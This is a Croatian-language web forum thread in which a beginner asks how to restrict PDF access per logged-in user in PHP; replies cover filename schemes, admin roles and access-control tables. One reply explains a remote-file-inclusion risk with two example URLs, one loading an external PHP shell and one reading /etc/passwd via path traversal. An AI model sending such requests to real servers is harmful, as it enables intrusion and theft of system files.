Svaki korisnik ima svoje podatke nakon logina?

Napravio sam Login formu i sve fino funkcionira. Korisnici će se ručno dodavati u bazu, jer nije potrebna nikakva registracija.

E sad. Ono što meni treba je da svaki korisnik dobija svoje podatke (PDF fajlove). Znaći kad se logira korisnik pero, da on vidi 1.pdf 3.pdf 5.pdf, a kad se logira marko on vidi 2.pdf 4.pdf itd, nadam se da kužite. Ali isto tako nesmije biti moguće da da se u adres bar može upisati ručno putanja pdf-a pa da se učita pdf.

Isto tako će biti nekih PDF-ova koji će svi korisnici moći vidjeti.

Tražim po netu sličan prijer ali ne nalazim ništa pametno. Počenik sam po tom pitanju pa mi je svaka pomoć dobro došla.

Ja to vidim kao neku tempalte stranicu koja će učitavati podatke iz baze s obzirom na logiranog korisnika.

Hvala unaprijed…

Možda dati svakom korisniku matični broj. Onda možeš u imenu fajla imati matični broj + redni broj dokumenta.
Ili imati folder kojemu je mat. br. ime pa u njega stavljati dokumente tog korisnika.

Imao bih samo jedan folder, recimo PDF. Zato što će biti dosta korisnika 50+, a to je previše foldera. Tako da bih ostao samo na recimo IDu korisnika i da je taj ID poćetak pdf-a i tako ih razvrstavati. Ali neznam kako bih to kodom izveo.

[quote=“Kruu”]neznam kako bih to kodom izveo.[/quote]Tu ti nemogu pomoći. U php-u sam sigurno puno lošiji od tebe. (Možda i najgori na forumu)

Možda
$ime=“0001.pdf”;
$id=“0001”;
$novo_ime=$id."-".$ime;
rename($ime,$novo_ime);

u htaccesu onemogućiti pristup folderu, a sa php-om povlaciti taj fajl :slight_smile:

napravis php fajl download.php

mislim da bi trebalo raditi

naravno zastitis skriptu jer se ova moze lako hakovati RFI metodom

Je l’ možeš ovo pojasniti?

Ako koristim tu skirptu i moze se hakovat rfi metodom primjer

download.php?filename=http://www.oocities.org/mcaffe_03/phpshell.txt%00

i on ce includat tu externu skriptu

ili

download.php?filename=…/…/…/…/…/…/etc/passwd%00

cita fajl /etc/passwd na linux-u

Aha, sada razumijem. Za šta je skraćenica “rfi”? Imaš li još ovakvih primjera, jer ovako što mi nikad nije palo na pamet a super funkcionira.

http://www.ljuska.org/viewtopic.php?f=28&t=10408

Imate sve o napadim,vrstama napada i obrani od napada :slight_smile:

Moram se registrirati. :frowning:
Možeš li nabaciti par linkova za čitanje sa te teme?

Malo smo prešli u OT ali svima će koristiti

Evo koda koji koristim za login, ja bih trebao da admin i obični korisnici imaju različite stranice odnosno “header()”… kako to izvesti?

Pa u bazi podataka napravi polje “admin”. Ako je to polje jednako 1 onda je admin i tako postaviš header() funkciju, a ako je 0 onda je običan korisnik.

Kako da to implementiram u postojeći kod? Jer nije samo do admin i user pristupa. Trebam sortirati PDF-ove, neki će bidi dostupni svima a neki će biti dostupni samo određenom korisniku.

Evo isprobavao sam ovako, ali neradi. Varijabla tip je ti ovlasti, tip 1 je admin, tip 0 je obični korisnik. Sad bi trebao napraviti da tip 1 otvara admin.php stranicu, a korisnik user.php.

Može pomoć?

Riješeno. Krivo sam postavio SQL upit. “SELECT *” mi je pobjeglo…

Ako zelis neovisno o http serveru implementirati ACL (Access Control List), onda nema druge nego zasukati rukave i napraviti mapiranje dokumenata preko krypto ili/odnosno UUID imena.

Dakle interno u bazi podataka fajl
4.pdf
spremis na disk kao:
25edec17-9aca-49b6-8a0d-c9307893b9c3.pdf

UID mozes generirati npr pomocu $uniqid = uniqid();

Sada uvedes jos jednu tabelu u kojem je ACL autoriziranog usera, npr.
userx --> 4.pdf --> read/write
usery --> 4.pdf --> read

Sada tek generiras URL (GET metoda) tipa :

http://moj.server.eu/25edec17-9aca-49b6-8a0d-c9307893b9c3.pdf

Idelano je ali kosristiti neku POST metodu gdje je ime fajla nevidljivo

Nesto ti moze pomoci i phpGACL - Generic Access Control Lists (
http://phpgacl.sourceforge.net/
), mozes ju primjeniti i na fajlove.


Copyright © 2020 WM Forum - AboutContact - Sponsored by: Mydataknox & Webmaster.Ninja